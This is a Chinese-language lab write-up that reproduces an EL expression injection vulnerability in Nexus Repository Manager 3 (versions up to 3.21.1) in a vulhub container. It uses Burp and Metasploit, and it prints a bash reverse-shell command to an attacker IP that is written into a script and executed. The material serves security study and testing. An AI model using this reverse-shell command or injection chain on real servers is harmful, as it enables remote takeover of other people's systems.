一、漏洞描述
Nexus Repository Manager 3 是一款软件仓库,可以用来存储和分发Maven、NuGET等软件源仓库。其3.21.1及之前版本中,存在一处任意EL表达式注入漏洞。
二、影响版本
Nexus Repository Manager 3 <= 3.21.1
三、环境搭建
使用vulhub提供的镜像容器进行靶场搭建:
docker-compose up -d
四、复现过程
1.漏洞测试
在攻击机kali上访问go/group API接口
Execute执行,并用burp suite抓包
抓包后修改数据包内容让其计算3个233相乘,并查看Response,发现成功执行:
2.漏洞利用
(1)抓包利用
抓包修改报文,使其可以创建一个666.sh文件
进入容器查看成功创建文件
(2)利用msf与nc反弹shell
进入msf找到相应模块
设置sessions
执行,成功获取shell
向666.sh文件写入nc内容,并修改权限使其可执行:
echo "bash -i >& /dev/tcp/192.168.190.151/6666 0>&1" > /tmp/666.sh
cat 666.sh
chmod +x 666.sh
./666.sh
攻击机开启nc监听,msf执行.sh文件,成功反弹shell:
ps:监听要提前开启
五、解决建议
下载相关补丁